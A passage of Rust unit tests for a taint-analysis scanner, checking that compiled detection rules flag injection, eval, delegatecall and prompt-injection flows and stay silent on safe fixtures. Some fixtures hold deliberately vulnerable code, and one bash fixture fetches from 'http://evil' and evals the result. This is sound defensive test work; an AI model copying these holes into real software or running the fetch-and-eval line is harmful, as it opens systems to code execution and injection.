let rule = compiled(
r#"
id: js-llm-output-to-exec
mode: taint
languages: [javascript]
severity: ERROR
message: "LLM output reaches eval"
pattern-sources:
- pattern: $CLIENT.messages.create(...)
pattern-sinks:
- pattern: eval($SINK)
"#,
);
let src = r#"
function run(client) {
const out = client.completions.create({model: "claude"});
eval(out);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"different penultimate field must not taint; expected no finding, got {:?}",
findings
);
}
#[test]
fn compile_concrete_root_metavar_field_yields_paramname_root() {
let m = compile("request.$ANYTHING", MatcherRole::Source).expect("request source");
match m {
GenericMatcher::ParamName { names, .. } => {
assert_eq!(names, vec!["request".to_string()])
}
other => panic!("expected ParamName[request], got {other:?}"),
}
assert!(parse_concrete_root_metavar_field("$REQ.$ANYTHING").is_none());
assert!(parse_concrete_root_metavar_field("request.GET").is_none());
assert!(parse_concrete_root_metavar_field("a.b.$X").is_none());
}
#[test]
fn python_bridge_request_anything_source_to_binop_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-django-tainted-sql
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request attribute reaches a built SQL string"
pattern-sources:
- pattern: request.$ANYTHING
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
assert!(
matches!(rule.spec.sources.as_slice(), [GenericMatcher::ParamName { names, .. }] if names == &["request".to_string()]),
"source should compile to ParamName[request], got {:?}",
rule.spec.sources
);
let src = r#"
def view(request):
name = request.GET
query = "SELECT * FROM t WHERE n = " + name
cursor.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for request.GET -> \"...\" + name, got {:?}",
findings
);
}
#[test]
fn python_bridge_request_anything_non_request_root_near_miss_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-django-tainted-sql
mode: taint
languages: [python]
severity: ERROR
message: "Tainted request attribute reaches a built SQL string"
pattern-sources:
- pattern: request.$ANYTHING
pattern-sinks:
- pattern: '"$SQLSTR" + ...'
"#,
);
let src = r#"
def view(config):
name = config.GET
query = "SELECT * FROM t WHERE n = " + name
cursor.execute(query)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"non-request root must not be a source; expected no finding, got {:?}",
findings
);
}
#[test]
fn python_bridge_object_literal_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-objlit-prompt-injection
mode: taint
languages: [python]
severity: ERROR
message: "User input flows into a system-prompt dict literal"
pattern-sources:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern: |
{"role": "system", "content": $SINK}
- focus-metavariable: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ObjectLiteralValue { .. }]
),
"sink should compile to ObjectLiteralValue, got {:?}",
rule.spec.sinks
);
let src = r#"
def handler():
user = request.data
msg = {"role": "system", "content": user}
return msg
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for request.data -> dict literal value, got {:?}",
findings
);
}
#[test]
fn python_bridge_object_literal_clean_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-objlit-prompt-injection-safe
mode: taint
languages: [python]
severity: ERROR
message: "User input flows into a system-prompt dict literal"
pattern-sources:
- pattern: request.data
pattern-sinks:
- patterns:
- pattern: |
{"role": "system", "content": $SINK}
- focus-metavariable: $SINK
"#,
);
let src = r#"
def handler():
user = request.data
msg = {"role": "system", "content": "you are a helpful assistant"}
return msg
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a dict literal with only literal values must not fire, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_object_literal_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-objlit-prompt-injection
mode: taint
languages: [javascript, typescript]
severity: ERROR
message: "User input flows into a system-prompt object literal"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- pattern: |
{role: "system", content: $SINK}
- focus-metavariable: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ObjectLiteralValue { .. }]
),
"sink should compile to ObjectLiteralValue, got {:?}",
rule.spec.sinks
);
let src = r#"
function handler(req) {
const user = req.body;
const msg = { role: "system", content: user };
return msg;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for req.body -> object literal value, got {:?}",
findings
);
}
#[test]
fn javascript_bridge_object_literal_clean_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-objlit-prompt-injection-safe
mode: taint
languages: [javascript, typescript]
severity: ERROR
message: "User input flows into a system-prompt object literal"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- pattern: |
{role: "system", content: $SINK}
- focus-metavariable: $SINK
"#,
);
let src = r#"
function handler(req) {
const user = req.body;
const msg = { role: "system", content: "fixed instructions" };
return msg;
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"an object literal with only literal values must not fire, got {:?}",
findings
);
}
#[test]
fn python_bridge_return_value_sink_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-return-value-sink
mode: taint
languages: [python]
severity: ERROR
message: "External response returned unsanitized"
pattern-sources:
- pattern: requests.get(...)
pattern-sinks:
- patterns:
- pattern: return $SINK
- focus-metavariable: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::ReturnValue { .. }]
),
"sink should compile to ReturnValue, got {:?}",
rule.spec.sinks
);
let src = r#"
def fetch():
data = requests.get("http://api")
return data
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"expected 1 finding for requests.get -> return, got {:?}",
findings
);
}
#[test]
fn python_bridge_return_value_clean_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-return-value-sink-safe
mode: taint
languages: [python]
severity: ERROR
message: "External response returned unsanitized"
pattern-sources:
- pattern: requests.get(...)
pattern-sinks:
- patterns:
- pattern: return $SINK
- focus-metavariable: $SINK
"#,
);
let src = r#"
def fetch():
data = requests.get("http://api")
return "ok"
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"returning a clean literal must not fire, got {:?}",
findings
);
}
#[test]
fn return_value_shape_rejects_non_bare_return() {
assert!(parse_return_metavar("return $X").is_some());
assert!(parse_return_metavar("return $SINK").is_some());
assert!(parse_return_metavar("return foo($X)").is_none());
assert!(parse_return_metavar("return \"...\".format(...)").is_none());
assert!(parse_return_metavar("return").is_none());
assert!(parse_return_metavar("returnx").is_none());
assert!(parse_return_metavar("$X").is_none());
}
#[test]
fn bash_bridge_curl_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: curl-eval
mode: taint
languages: [bash]
severity: WARNING
message: "Data is being eval'd from a curl command."
pattern-sources:
- pattern: |
$(curl ...)
- pattern: |
`curl ...`
pattern-sinks:
- pattern: eval ...
"#,
);
assert_eq!(rule.lang, Language::Bash);
let src = "out=$(curl http://evil)\neval \"$out\"\n";
let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"curl-eval must fire via the compiled bridge, got {:?}",
findings
);
}
#[test]
fn bash_bridge_curl_eval_safe_no_finding() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: curl-eval
mode: taint
languages: [bash]
severity: WARNING
message: "Data is being eval'd from a curl command."
pattern-sources:
- pattern: |
$(curl ...)
pattern-sinks:
- pattern: eval ...
"#,
);
let src = "out=\"ls -la\"\neval \"$out\"\n";
let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"eval of a clean literal must not fire, got {:?}",
findings
);
}
#[test]
fn bash_bridge_hooks_jq_to_bash_c_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: hooks-unquoted-variable-bash-taint
mode: taint
languages: [bash]
severity: ERROR
message: "Untrusted stdin flows into a command execution sink."
pattern-sources:
- pattern: $(cat | jq ...)
- pattern: $(cat)
pattern-sinks:
- pattern: eval $...SINK
- pattern: bash -c $...SINK
- pattern: sh -c $...SINK
"#,
);
let src = "data=$(cat | jq -r '.path')\nbash -c \"$data\"\n";
let tree = parse_file(src, Language::Bash).expect("bash fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"hooks jq -> bash -c must fire via bridge, got {:?}",
findings
);
}
#[test]
fn solidity_bridge_delegatecall_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: delegatecall-to-arbitrary-address
mode: taint
languages: [solidity]
severity: ERROR
message: "An attacker may perform delegatecall() to an arbitrary address."
pattern-sources:
- patterns:
- pattern-either:
- pattern: function $ANY(..., address $CONTRACT, ...) public {...}
- pattern: function $ANY(..., address $CONTRACT, ...) external {...}
- focus-metavariable: $CONTRACT
pattern-sinks:
- patterns:
- pattern-either:
- pattern: $CONTRACT.delegatecall(...);
- pattern: $CONTRACT.delegatecall{gas:$GAS}(...);
"#,
);
assert_eq!(rule.lang, Language::Solidity);
let src = r#"
contract C {
function run(address target, bytes data) public {
target.delegatecall(data);
}
}
"#;
let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"delegatecall to a param address must fire via bridge, got {:?}",
findings
);
}
#[test]
fn solidity_bridge_delegatecall_to_self_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: delegatecall-to-arbitrary-address
mode: taint
languages: [solidity]
severity: ERROR
message: "An attacker may perform delegatecall() to an arbitrary address."
pattern-sources:
- patterns:
- pattern-either:
- pattern: function $ANY(..., address $CONTRACT, ...) public {...}
pattern-sinks:
- patterns:
- pattern-either:
- pattern: $CONTRACT.delegatecall(...);
"#,
);
let src = r#"
contract C {
function run(bytes data) public {
address(this).delegatecall(data);
}
}
"#;
let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"delegatecall to address(this) must not fire, got {:?}",
findings
);
}
#[test]
fn solidity_bridge_selfdestruct_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: accessible-selfdestruct
mode: taint
languages: [solidity]
severity: ERROR
message: "Contract can be destructed by anyone."
pattern-sources:
- patterns:
- focus-metavariable:
- $ADDR
- pattern-either:
- pattern: function $FUNC(..., address $ADDR, ...) external { ... }
- pattern: function $FUNC(..., address $ADDR, ...) public { ... }
pattern-sinks:
- pattern-either:
- pattern: selfdestruct(...);
- pattern: suicide(...);
"#,
);
let src = r#"
contract C {
function kill(address payable target) public {
selfdestruct(target);
}
}
"#;
let tree = parse_file(src, Language::Solidity).expect("solidity fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"selfdestruct of a param must fire via bridge, got {:?}",
findings
);
}
#[test]
fn scala_bridge_tainted_sql_string_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: tainted-sql-string
mode: taint
languages: [scala]
severity: ERROR
message: "User data flows into a manually-constructed SQL string."
pattern-sources:
- patterns:
- pattern: $PARAM
- pattern-either:
- pattern-inside: |
def $CTRL(..., $PARAM: $TYPE, ...) = {
...
}
pattern-sinks:
- patterns:
- pattern-either:
- pattern: |
"$SQLSTR" + ...
- metavariable-regex:
metavariable: $SQLSTR
regex: (?i)(select|delete|insert|create|update|alter|drop)\b
"#,
);
assert_eq!(rule.lang, Language::Scala);
let src = r#"
object Ctrl {
def index(name: String) = {
val q = "SELECT * FROM t WHERE n = " + name
db.run(q)
}
}
"#;
let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted SQL concat must fire via bridge, got {:?}",
findings
);
}
#[test]
fn scala_bridge_tainted_sql_string_literal_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: tainted-sql-string
mode: taint
languages: [scala]
severity: ERROR
message: "User data flows into a manually-constructed SQL string."
pattern-sources:
- patterns:
- pattern: $PARAM
- pattern-either:
- pattern-inside: |
def $CTRL(..., $PARAM: $TYPE, ...) = {
...
}
pattern-sinks:
- patterns:
- pattern-either:
- pattern: |
"$SQLSTR" + ...
"#,
);
let src = r#"
object Ctrl {
def index(name: String) = {
val q = "SELECT * FROM t WHERE n = " + "admin"
db.run(q)
}
}
"#;
let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal-only SQL concat must not fire, got {:?}",
findings
);
}
#[test]
fn scala_bridge_scalajs_eval_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: scalajs-eval
mode: taint
languages: [scala]
severity: WARNING
message: "eval() of user-controlled data."
pattern-sources:
- patterns:
- pattern: $PARAM
- pattern-either:
- pattern-inside: |
def $CTRL(..., $PARAM: $TYPE, ...) = {
...
}
pattern-sinks:
- patterns:
- pattern: $JS.eval(...)
"#,
);
let src = r#"
object Ctrl {
def index(code: String) = {
js.eval(code)
}
}
"#;
let tree = parse_file(src, Language::Scala).expect("scala fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"scalajs eval of param must fire via bridge, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_unescaped_param_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped parameter."
pattern-sources:
- by-side-effect: true
patterns:
- pattern: $M(...,String $P,...) { ... }
- focus-metavariable: $P
pattern-sanitizers:
- pattern-either:
- pattern: String.escapeSingleQuotes($P)
- pattern: Database.query(<... String.escapeSingleQuotes($P) ...>)
pattern-sinks:
- pattern: Database.query(<... $P ...>)
"#,
);
assert_eq!(rule.lang, Language::Apex);
let src = r#"
public class C {
public List<Account> find(String p) {
return Database.query(p);
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted Database.query must fire via bridge, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_sanitized_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped parameter."
pattern-sources:
- by-side-effect: true
patterns:
- pattern: $M(...,String $P,...) { ... }
- focus-metavariable: $P
pattern-sanitizers:
- pattern-either:
- pattern: String.escapeSingleQuotes($P)
- pattern: Database.query(<... String.escapeSingleQuotes($P) ...>)
pattern-sinks:
- pattern: Database.query(<... $P ...>)
"#,
);
let src = r#"
public class C {
public List<Account> find(String p) {
String safe = String.escapeSingleQuotes(p);
return Database.query(safe);
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"escaped parameter must not fire, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_url_param_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-url-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped URL parameter."
pattern-sources:
- by-side-effect: true
pattern: ApexPage.getCurrentPage().getParameters.get($URLPARAM);
pattern-sanitizers:
- pattern: String.escapeSingleQuotes(...)
pattern-sinks:
- patterns:
- pattern: Database.query($SINK,...);
- focus-metavariable: $SINK
"#,
);
assert_eq!(rule.lang, Language::Apex);
let src = r#"
public class C {
public List<Account> find() {
String url = ApexPage.getCurrentPage().getParameters().get('q');
return Database.query(url);
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"tainted URL-param Database.query must fire via bridge, got {:?}",
findings
);
}
#[test]
fn apex_bridge_soql_injection_url_param_literal_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: soql-injection-unescaped-url-param
mode: taint
severity: ERROR
languages:
- apex
message: "SOQL injection from an unescaped URL parameter."
pattern-sources:
- by-side-effect: true
pattern: ApexPage.getCurrentPage().getParameters.get($URLPARAM);
pattern-sanitizers:
- pattern: String.escapeSingleQuotes(...)
pattern-sinks:
- patterns:
- pattern: Database.query($SINK,...);
- focus-metavariable: $SINK
"#,
);
let src = r#"
public class C {
public List<Account> find() {
return Database.query('SELECT Id FROM Account');
}
}
"#;
let tree = parse_file(src, Language::Apex).expect("apex fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal query must not fire, got {:?}",
findings
);
}
#[test]
fn swift_bridge_sqlite_injection_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: swift-potential-sqlite-injection
mode: taint
severity: WARNING
languages:
- swift
message: "Potential client-side SQL injection."
pattern-sources:
- pattern-either:
- pattern: |
"...\($X)..."
- pattern: |
$SQL = "..." + $X
- pattern: |
$SQL = $X + "..."
pattern-sinks:
- patterns:
- pattern-either:
- pattern: sqlite3_exec($DB, $SQL, ...)
- pattern: sqlite3_prepare_v2($DB, $SQL, ...)
- focus-metavariable:
- $SQL
"#,
);
assert_eq!(rule.lang, Language::Swift);
let src = r#"
func handler(input: String) {
let q = "SELECT * FROM t WHERE n = \(input)"
sqlite3_exec(db, q, nil, nil, nil)
}
"#;
let tree = parse_file(src, Language::Swift).expect("swift fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"interpolated SQL into sqlite3_exec must fire via bridge, got {:?}",
findings
);
}
#[test]
fn swift_bridge_sqlite_injection_literal_safe() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: swift-potential-sqlite-injection
mode: taint
severity: WARNING
languages:
- swift
message: "Potential client-side SQL injection."
pattern-sources:
- pattern-either:
- pattern: |
"...\($X)..."
- pattern: |
$SQL = "..." + $X
- pattern: |
$SQL = $X + "..."
pattern-sinks:
- patterns:
- pattern-either:
- pattern: sqlite3_exec($DB, $SQL, ...)
- pattern: sqlite3_prepare_v2($DB, $SQL, ...)
- focus-metavariable:
- $SQL
"#,
);
let src = r#"
func handler() {
let q = "SELECT * FROM t"
sqlite3_exec(db, q, nil, nil, nil)
}
"#;
let tree = parse_file(src, Language::Swift).expect("swift fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"literal SQL must not fire, got {:?}",
findings
);
}
#[test]
fn js_param_source_focus_inside_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-child-process-param
mode: taint
languages: [javascript]
severity: ERROR
message: "Function argument reaches child_process.exec"
pattern-sources:
- patterns:
- pattern-inside: |
function ... (...,$FUNC,...) {
...
}
- focus-metavariable: $FUNC
pattern-sinks:
- pattern: exec($CMD,...)
"#,
);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ParamName { names, .. }]
if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
),
"expected wildcard ParamName source, got {:?}",
rule.spec.sources
);
let src = r#"
function run(name, cmd) {
exec(cmd);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a function parameter reaching exec() must fire, got {:?}",
findings
);
}
#[test]
fn js_param_source_non_param_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-child-process-param-safe
mode: taint
languages: [javascript]
severity: ERROR
message: "Function argument reaches child_process.exec"
pattern-sources:
- patterns:
- pattern-inside: |
function ... (...,$FUNC,...) {
...
}
- focus-metavariable: $FUNC
pattern-sinks:
- pattern: exec($CMD,...)
"#,
);
let src = r#"
function run() {
const cmd = "ls -la";
exec(cmd);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a non-parameter constant must not fire, got {:?}",
findings
);
}
#[test]
fn python_param_source_bare_pattern_inside_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-lambda-param
mode: taint
languages: [python]
severity: ERROR
message: "Lambda event reaches subprocess"
pattern-sources:
- patterns:
- pattern: $EVENT
- pattern-inside: |
def $HANDLER($EVENT, $CONTEXT):
...
pattern-sinks:
- pattern: subprocess.call($X)
"#,
);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ParamName { names, .. }]
if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
),
"expected wildcard ParamName source, got {:?}",
rule.spec.sources
);
let src = r#"
def handler(event, context):
cmd = event
subprocess.call(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"handler param reaching subprocess.call must fire, got {:?}",
findings
);
}
#[test]
fn python_param_source_constant_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-lambda-param-safe
mode: taint
languages: [python]
severity: ERROR
message: "Lambda event reaches subprocess"
pattern-sources:
- patterns:
- pattern: $EVENT
- pattern-inside: |
def $HANDLER($EVENT, $CONTEXT):
...
pattern-sinks:
- pattern: subprocess.call($X)
"#,
);
let src = r#"
def handler(event, context):
cmd = "echo hello"
subprocess.call(cmd)
"#;
let tree = parse_file(src, Language::Python).expect("python fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a hardcoded constant must not fire, got {:?}",
findings
);
}
#[test]
fn non_param_focus_block_is_not_treated_as_param_source() {
let v: YamlValue = serde_yaml_ng::from_str(
r#"
id: not-a-param-source
mode: taint
languages: [python]
severity: ERROR
message: m
pattern-sources:
- patterns:
- pattern: get_input($X)
- focus-metavariable: $X
pattern-sinks:
- pattern: eval($Y)
"#,
)
.unwrap();
match parse_taint_rule(&v) {
TaintRuleParse::Compiled(r) => {
assert!(
!r.spec.sources.iter().any(|m| matches!(
m,
GenericMatcher::ParamName { names, .. }
if names.contains(&crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string())
)),
"a focus on a call metavar must not become an any-parameter source: {:?}",
r.spec.sources
);
}
other => panic!(
"expected compiled rule, got skip/nottaint: {:?}",
matches!(other, TaintRuleParse::Skip(_))
),
}
}
#[test]
fn java_param_source_focus_typed_signature_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-lambda-param
mode: taint
languages: [java]
severity: ERROR
message: "Handler param reaches SQL string"
pattern-sources:
- patterns:
- focus-metavariable: $EVENT
- pattern: |
$RT $HANDLER($TYPE $EVENT, Context $CTX) {
...
}
pattern-sinks:
- pattern: stmt.executeQuery($Q)
"#,
);
assert!(
matches!(
rule.spec.sources.as_slice(),
[GenericMatcher::ParamName { names, .. }]
if names == &[crate::rules::taint_engine::ANY_PARAM_WILDCARD.to_string()]
),
"expected wildcard ParamName source, got {:?}",
rule.spec.sources
);
let src = r#"
class H {
String handle(String event, Context ctx) {
String q = event;
return stmt.executeQuery(q);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"handler param reaching executeQuery must fire, got {:?}",
findings
);
}
#[test]
fn java_param_source_literal_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: java-lambda-param-safe
mode: taint
languages: [java]
severity: ERROR
message: "Handler param reaches SQL string"
pattern-sources:
- patterns:
- focus-metavariable: $EVENT
- pattern: |
$RT $HANDLER($TYPE $EVENT, Context $CTX) {
...
}
pattern-sinks:
- pattern: stmt.executeQuery($Q)
"#,
);
let src = r#"
class H {
String handle(String event, Context ctx) {
String q = "SELECT 1";
return stmt.executeQuery(q);
}
}
"#;
let tree = parse_file(src, Language::Java).expect("java fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a hardcoded SQL literal must not fire, got {:?}",
findings
);
}
#[test]
fn php_focus_call_sink_concrete_callee_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-assert-use
mode: taint
languages: [php]
severity: ERROR
message: "Tainted value reaches assert()"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- patterns:
- pattern: assert($SINK, ...)
- pattern: $SINK
"#,
);
assert!(
matches!(
rule.spec.sinks.as_slice(),
[GenericMatcher::Call { canonical, .. }] if canonical == "assert"
),
"expected a concrete `assert` Call sink, got {:?}",
rule.spec.sinks
);
let src = r#"<?php
function run() {
$x = $_GET['code'];
assert($x);
}
"#;
let tree = parse_file(src, Language::Php).expect("php fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted $_GET value reaching assert() must fire, got {:?}",
findings
);
}
#[test]
fn php_focus_call_sink_untainted_arg_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: php-assert-use-safe
mode: taint
languages: [php]
severity: ERROR
message: "Tainted value reaches assert()"
pattern-sources:
- pattern: $_GET
pattern-sinks:
- patterns:
- pattern: assert($SINK, ...)
- pattern: $SINK
"#,
);
let src = r#"<?php
function run() {
$x = "1 === 1";
assert($x);
}
"#;
let tree = parse_file(src, Language::Php).expect("php fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"an untainted literal in assert() must not fire, got {:?}",
findings
);
}
#[test]
fn js_focus_call_sink_method_name_fires() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-mysql-sqli
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted value reaches a SQL query method"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- focus-metavariable: $QUERY
- pattern-either:
- pattern-inside: $POOL.query($QUERY, ...)
- pattern-inside: $POOL.execute($QUERY, ...)
"#,
);
let mut methods: Vec<&str> = rule
.spec
.sinks
.iter()
.filter_map(|m| match m {
GenericMatcher::MethodName { method, .. } => Some(method.as_str()),
_ => None,
})
.collect();
methods.sort_unstable();
assert_eq!(
methods,
["execute", "query"],
"expected query/execute MethodName sinks, got {:?}",
rule.spec.sinks
);
let src = r#"
function run(req, pool) {
const q = req.body;
pool.query(q);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted req.body reaching pool.query() must fire, got {:?}",
findings
);
}
#[test]
fn js_focus_call_sink_other_method_does_not_fire() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: js-mysql-sqli-safe
mode: taint
languages: [javascript]
severity: ERROR
message: "Tainted value reaches a SQL query method"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- focus-metavariable: $QUERY
- pattern-either:
- pattern-inside: $POOL.query($QUERY, ...)
- pattern-inside: $POOL.execute($QUERY, ...)
"#,
);
let src = r#"
function run(req, pool) {
const q = req.body;
pool.format(q);
}
"#;
let tree = parse_file(src, Language::JavaScript).expect("js fixture should parse");
let findings = rule.check(src, &tree);
assert!(
findings.is_empty(),
"a tainted value reaching an unlisted method (.format) must not fire, got {:?}",
findings
);
}
#[test]
fn unpinned_metavar_callee_sink_is_not_compiled() {
let v: YamlValue = serde_yaml_ng::from_str(
r#"
id: js-unpinned-callee
mode: taint
languages: [javascript]
severity: ERROR
message: "x"
pattern-sources:
- pattern: $REQ.body
pattern-sinks:
- patterns:
- focus-metavariable: $SINK
- pattern: $F($SINK, ...)
"#,
)
.unwrap();
assert!(
matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
"an unpinned metavariable callee must not compile to a sink"
);
}
#[test]
fn callregex_sink_fires_on_matching_callee_and_not_on_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-password-sink
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a *password* function"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...)
- metavariable-regex:
metavariable: $FUNCTION
regex: (?i)(.*password.*)
"#,
);
let fire_src = r#"
def handler():
data = input()
hash_password(data)
"#;
let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"a tainted value reaching hash_password() (callee matches the regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler():
data = input()
log_event(data)
"#;
let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"a tainted value reaching a callee NOT matching the regex must not fire, got {:?}",
findings
);
}
#[test]
fn methodnameregex_sink_fires_on_matching_method_and_not_on_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: py-csv-writer
mode: taint
languages: [python]
severity: ERROR
message: "Tainted input reaches a csv writer row method"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $WRITER.$WRITE(...)
- metavariable-regex:
metavariable: $WRITE
regex: ^(writerow|writerows|writeheader)$
"#,
);
let fire_src = r#"
def handler(w):
data = input()
w.writerow(data)
"#;
let tree = parse_file(fire_src, Language::Python).expect("python fixture should parse");
